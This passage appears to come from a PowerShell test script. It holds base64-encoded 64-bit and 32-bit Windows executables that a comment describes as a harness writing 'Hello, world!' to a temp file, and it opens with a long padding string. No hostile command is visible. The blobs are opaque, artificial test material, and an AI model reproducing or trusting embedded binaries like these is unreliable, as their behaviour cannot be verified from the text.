AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + + # A bare bones test harness EXE that simply writes "Hello, world! (EXE ARGS)" to %TEMP%\testoutput.txt + $Encoded64BitExe = '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AAAAAEwmAAAAAAAAPCYAAAAAAACsJgAAAAAAAAAAAAAAAAAANiUAAAAAAABAJQAAAAAAAFYlAAAAAAAAaiUAAAAAAAB4JQAAAAAAAC4lAAAAAAAAnCUAAAAAAACoJQAAAAAAALIlAAAAAAAAviUAAAAAAADSJQAAAAAAAAQmAAAAAAAADCYAAAAAAAAWJgAAAAAAACQmAAAAAAAAMiYAAAAAAAAmJQAAAAAAABQlAAAAAAAABCUAAAAAAAD2JAAAAAAAAOgkAAAAAAAAhCUAAAAAAAAAAAAAAAAAAIgAQ3JlYXRlRmlsZUEAIgFFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBADQFV3JpdGVGaWxlAEwCR2V0UHJvY0FkZHJlc3MAABsCR2V0TW9kdWxlSGFuZGxlQQAAUgBDbG9zZUhhbmRsZQBLRVJORUwzMi5kbGwAAFgBX1hjcHRGaWx0ZXIA8gFfYW1zZ19leGl0AACnAV9fZ2V0bWFpbmFyZ3MAzgFfX3NldF9hcHBfdHlwZQAAGAZleGl0AABYAl9leGl0AAoCX2NleGl0AAAaAl9jb25maWd0aHJlYWRsb2NhbGUA0AFfX3NldHVzZXJtYXRoZXJyAADiAl9pbml0dGVybV9lAOECX2luaXR0ZXJtAFwBX19DX3NwZWNpZmljX2hhbmRsZXIAAKgBX19pbml0ZW52AHgCX2Ztb2RlAAAZAl9jb21tb2RlAAAzAT90ZXJtaW5hdGVAQFlBWFhaAJkBX19jcnRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAE1TVkNSMTIwLmRsbAAAWwNfbG9jawDHBF91bmxvY2sACQJfY2FsbG9jX2NydACfAV9fZGxsb25leGl0AAIEX29uZXhpdADuAEVuY29kZVBvaW50ZXIAqQNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgDHAUdldEN1cnJlbnRQcm9jZXNzSWQAywFHZXRDdXJyZW50VGhyZWFkSWQAAIACR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAywBEZWNvZGVQb2ludGVyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD+/////////wAAAAAyot8tmSsAAM1dINJm1P//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAJgQAABAIgAAmBAAAHwRAABQIgAAfBEAAIwRAABoIgAAjBEAAFoSAAB4IgAAXBIAAL8SAACAIgAAwBIAADAUAACIIgAAMBQAAEIUAAB4IgAARBQAAHwUAAB4IgAAfBQAAJMUAAB4IgAA8BQAAD0VAACoIgAAcBUAABwWAADMIgAAIBYAAG4WAAAAIwAAcBYAACAXAADYIgAAIBcAADcXAAB4IgAAOBcAAHAXAAAIIwAAcBcAAKgXAAAIIwAA4BcAAP4XAAD4IgAAABgAACAYAAD4IgAAIBgAADsYAAD4IgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAFAAAACihQKFIoVChCKIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + $Encoded32BitExe = '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